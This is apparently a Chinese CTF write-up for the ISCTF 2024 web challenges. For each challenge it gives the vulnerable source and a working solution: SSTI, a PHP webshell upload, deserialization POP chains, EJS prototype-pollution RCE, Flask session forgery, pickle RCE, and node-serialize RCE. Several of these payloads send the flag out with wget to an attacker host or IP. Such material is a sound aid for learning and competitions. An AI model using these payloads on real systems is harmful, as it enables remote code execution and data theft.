2024 ISCTF WEB全wp
小蓝鲨的冒险
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
$num = $_POST["num"];
echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
if($num == 2024){
die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
}
if(preg_match("/[a-z]/i", $num)){
die("陷阱太多QAQ");
}
if(intval($num,0) == 2024){
echo "到这了难道还要放弃吗?<br>";
if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
}
} 小蓝鲨开始闯关,你能帮助他拿到flag吗?
通过变量覆盖以及八进制绕过,最后switch是弱比较,并通过../穿越到flag
b=a[0]=240610708&which=2/../flag
num=03750
ezSSTI
八进制绕过编写脚本
input = "__"
for letter in input:
#print(hex(ord(letter)).replace("0x", r"\x"), end="")
#print(hex(ord(letter)).replace("0x", r"\u00"), end="")
print(oct(ord(letter)).replace("0o", "\\"), end="")
用lipsum来获得命令执行,用attr来绕过中括号
user_input={{lipsum|attr('\137\137globals\137\137')|attr('\137\137getitem\137\137')('os')|attr('popen')('cat /f*')|attr('read')()}}
![[57a5f62efa0f0aa1c575d62ab4b8fd73.png]]
ezweb
有一个文件包含点和一个文件上传点,由于上传路径不知道先包含upload.php读一下源码
include.php?filename=php://filter/convert.base64-encode/resource=upload.php
发现源码采用md5
<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$name = pathinfo($file['name'], PATHINFO_FILENAME);
$dir_name = $name . '.' . $ext;
$upload_dir = './uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。";
} else {
echo "文件存储失败,未知原因......";
}
die();
}
那么我们上传木马1.php
1.php
<?=`$_POST[1]`;?>�
本地测试文件路径
<?php
error_reporting(0);
$file = "1.php";
$name = pathinfo($file, PATHINFO_FILENAME);
$ext = pathinfo($file, PATHINFO_EXTENSION);
$dir_name = $name . '.' . $ext;
echo md5($dir_name);
然后直接命令执行即可
ezrce
源码如下
<?php
error_reporting(0);
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>
命令执行绕过我们可以通过include来读文件
cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=/flag
天命人
<?php
error_reporting(0);
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;
function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;
function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";
function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>
由于最后一句throw new Exception
需要GC绕过
我们构造pop链
<?php
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan
{
public $zhi;
public $shan;
}
class Huoyanjinjing
{
public $huoyan;
public $jinjing;
}
class Dinghaishenzhen
{
public $yun;
}
class Jingdouyun
{
public $Qishier = 72;
}
class Tianmingren
{
public $tianming;
public $ren;
}
$a = new Tianmingren();
$b = new Dinghaishenzhen();
$c = new Huoyanjinjing();
$d = new Wuzhishan();
$a->tianming = $b;
$b->yun = $c;
$c->huoyan = $d;
echo serialize($a);
然后把最后的括号去了就会直接触发gc
然后传参md5碰撞绕过
J=0e1284838308
Wukong=O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":1:{s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":2:{s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;
ezjs
源码如下
const express = require('express');
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
app.set('env', 'development');
app.set('views', './views');
users={"guest":"123456"}
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
// 首页展示
app.get('/', (req, res) => {
res.render('index');
});
// backdoor
app.post('/UserList',(req,res) => {
user = req.body
const blacklist = ['\\u','outputFunctionName','localsName','escape']
const hacker = JSON.stringify(user)
for (const pattern of blacklist){
if(hacker.includes(pattern)){
res.status(200).json({"message":"hacker!"});
return
}
}
copy(users,user);
res.status(200).json(user);
});
// 启动服务器
app.listen(80, () => {
console.log(`Server running at http://localhost:80`);
});
发现有ejs原型链污染,但是常用的污染点都被过滤了并且unicode编码也过滤了
调试发现源代码中这个参数destructuredLocals
也可以污染然后拼接导致rce
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
先污染,我们用wget外带打通
POST /UserList
{
"__proto__":{
"destructuredLocals":[
"a=a;global.process.mainModule.require('child_process').execSync('wget http://vps:8999/`cat /f*`');//var __tmp2"
]
}
}
然后访问首页的render渲染触发rce
千年樱
根据提示访问well_down_mlpnkobji.php
然后得到源码:
<?php
include "dir.php";
highlight_file(__FILE__);
function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}
if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}
?>
我们用filterchain来生成字符串
python3 php_filter_chain_generator.py --chain 'sakura for ISCTF<?php'
payload前面加上base64encode否则会报错,并且最后添加string.strip_tags
去掉<?php
的标签包括之后的垃圾字符即可
convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
新闻系统
from flask import *
import pickle
import base64
app = Flask(__name__)
app.config["SECRET_KEY"] = "W3l1com_isCTF"
class News:
def __init__(self, title, content) -> None:
self.title = title
self.content = content
def __repr__(self) -> str:
return f"news(name={self.title}, words={self.content})"
class NewsList:
def __init__(self) -> None:
self.news_list = []
def create_news(self, title, content) -> None:
news = News(title,content)
self.news_list.append(news)
def export_news(self, news_title) -> str | None:
news = self.get_news(news_title)
if news is not None:
self.news_list.remove(news)
return '删除成功'
return None
def add_news(self, serialized_news) -> None:
try:
news_data = base64.b64decode(serialized_news)
black_list = ['create_news','export_news','add_news','get_news']
for i in black_list:
if i in str(news_data):
return False
#反序列化
news = pickle.loads(news_data)
if isinstance(news,News):
for i in self.news_list:
if i.title == news.title:
return False
self.news_list.append(news)
return True
return False
except Exception:
return False
def get_news(self, news_title) -> News | None:
for news in self.news_list:
if str(news.title) == news_title:
return news
return None
newslist = NewsList()
@app.route("/")
def index():
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
if username == 'test' and password == 'test111':
session['username'] = username
session['password'] = password
session['status'] = 'user'
return redirect('/news')
else:
session['login_error'] = True
return render_template("login.html")
@app.route("/news")
def news():
news = newslist.news_list
return render_template("news.html",news = news)
@app.route('/admin',methods=['GET','POST'])
def admin():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
news = newslist.news_list
return render_template("admin.html",news = news)
@app.route("/create", methods=["POST"])
def create_news():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
title = request.form.get('title')
content = request.form.get('content')
newslist.create_news(title,content)
return redirect("/admin")
@app.route("/export", methods=["POST"])
def export_news():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
news_title = request.form["title"]
result = newslist.export_news(news_title)
if result is not None:
return jsonify({"result": result})
else:
return jsonify({"error": "news not found"})
@app.route("/add", methods=["POST"])
def add_news():
#伪造 admin admin admin222
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
serialized_news = request.form["serialized_news"]
#反序列化
if newslist.add_news(serialized_news):
return redirect("/admin")
else:
return jsonify({"error": "Failed to add news"})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)
给了session key我们伪造登录admin
python3 flask_session_cookie_manager3.py decode -c .eJyrVipILC4uzy9KUbJSKkktLjE0NFTSUSouSSwpLQYKlRanFgH5ICovMTcVqkipFgAb-RLg.ZzHpXw.nOFghDVcFM2Y0HKcIPcBARyzPmY
b'{"password":"test111","status":"user","username":"test"}'
python3 flask_session_cookie_manager3.py encode -s 'W3l1com_isCTF' -t '{"password":"admin222","status":"admin","username":"admin"}'
.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzHpvw.6MST5E5Vxb_pr-NDyhPPwoS8n4g
然后我们在add路由发现了python反序列化漏洞
import base64
opcode=b'''cos
system
(S"wget http://vps:2333/?a=`cat /f*`"
tR.
'''
print(base64.b64encode(opcode))
ezlogin
考察nodejs反序列化漏洞
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser())
app.set('view engine', 'ejs');
app.set('views', './views');
users={"guest":"123456"}
function auth(req, res, next) {
if(req.cookies.token){
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
if (!user.username) {
return res.status(401).redirect('/login');
}
}else{
return res.status(401).redirect('/login');
}
next();
}
app.get('/index',auth,function(req,res){
res.render("index");
});
app.get('/register',function(req,res){
res.render("register");
});
app.post('/register',function(req,res){
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send('用户名和密码都是必填项');
}
if (users[username]) {
return res.status(409).send('用户名已存在');
}
users[username] = password;
return res.status(201).send('用户注册成功');
});
app.get('/login',function(req,res){
res.render("login");
});
app.post('/login',function(req,res){
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send('用户名和密码都是必填项');
}
if (!(users[username])) {
return res.status(409).send('用户名不存在');
}else{
if(users[username] === password){
token=Buffer.from(serialize.serialize({'username':username,'isAdmin':false})).toString('base64')
res.cookie('token',token, {
maxAge: 900000,
httpOnly: true
});
return res.status(200).redirect('/index');
}else{
return res.status(200).send('密码错误');
}
}
});
// 启动服务器
app.listen(80, () => {
console.log(`Server running at http://localhost:80`);
});
生成恶意反序列化数据外带flag
var serialize = require('node-serialize');
token = Buffer.from(serialize.serialize({ "function": "_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('wget http://124.220.37.173:2333/`cat /f*`', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}()" }
)).toString('base64')
console.log(token)
0 条评论
可输入 255 字
热门文章